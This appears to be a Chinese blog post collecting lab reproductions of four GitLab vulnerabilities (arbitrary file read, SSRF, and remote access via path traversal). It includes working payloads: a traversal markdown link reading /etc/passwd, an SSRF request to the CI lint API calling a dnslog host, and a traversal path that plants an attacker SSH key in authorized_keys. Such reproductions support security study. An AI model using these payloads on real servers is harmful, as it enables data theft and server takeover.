Gitlab漏洞合集

Source

简介

GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git仓库管理工具,且具有wiki和issue跟踪功能。使用Git作为代码管理工具,并在此基础上搭建起来的web服务。

Gitlab 任意文件读取漏洞(CVE-2016-9086)

影响版本

GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13

环境搭建

docker+vulhub

漏洞复现

在这里插入图片描述

首先设置root密码,如上图,然后登录,如下图:
在这里插入图片描述

点击第一个绿色按钮:
在这里插入图片描述

设置名称,然后上传给的压缩文件即可:
在这里插入图片描述
然后就执行了命令。。。
在这里插入图片描述

原理和压缩文件不说了,网上了解。

任意文件读取漏洞(CVE-2020-10977)

影响版本

GitLab GitLab EE >=8.5,<=12.9

GitLab GitLab CE >=8.5,<=12.9

环境搭建

Centos7搭建

首先在/etc/yum.repos.d/下新建一个名为gitlab-ce.repo的文件,内容为以下内容:

[gitlab-ce]

name=Gitlab CE Repository

baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/

gpgcheck=0

enabled=1

进行安装:

yum makecache

yum install gitlab-ce-12.8.7-ce.0.el7

gitlab-ctl reconfigure //安装

gitlab-ctl restart //启动

如果打不开,很可能是端口被占用,查看日志:

gitlab-ctl tail

我这里发现80端口被占用(图忘截了)

停止httpd服务即可:
在这里插入图片描述

创建账号,登录:
在这里插入图片描述
创建任意两个项目:
在这里插入图片描述
在创建的第一个项目中添加payload:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

在这里插入图片描述

在这里插入图片描述
然后将该项目移动到第二个项目之前:
在这里插入图片描述
在这里插入图片描述
然后获得一个下载链接:
在这里插入图片描述
下载打开:
在这里插入图片描述

GitLab SSRF漏洞 (CVE-2021-22214)

影响范围

Gitlab > 10.5

环境:http://vulfocus.fofa.so/

主页:
在这里插入图片描述
前台存在SSRF漏洞,发送请求包:

POST /api/v4/ci/lint HTTP/1.1
Host: 
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111

{
    
      "include_merged_yaml": true, "content": "include:\n  remote: http://965qaw.dnslog.cn/api/v1/targets?test.yml"}

在这里插入图片描述

查看结果:
在这里插入图片描述

Gitlab远程代码执行漏洞(CVE-2018-14364)

影响范围

GitLab CE and EE 8.9.0 - 9.5.10
GitLab CE and EE 10.0.0 - 10.1.5
GitLab CE and EE 10.2.0 - 10.2.5
GitLab CE and EE 10.3.0 - 10.3.3

漏洞复现

注册账号,进入,创建项目,导入项目:
在这里插入图片描述
在这里插入图片描述
上传攻击者的ssh密钥到漏洞服务器的.ssh/authorized_keys:
在这里插入图片描述

抓包,修改:

修改path的值为:

ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys

然后ssh连接。

参考链接:https://idc.wanyunshuju.com/aqld/1891.html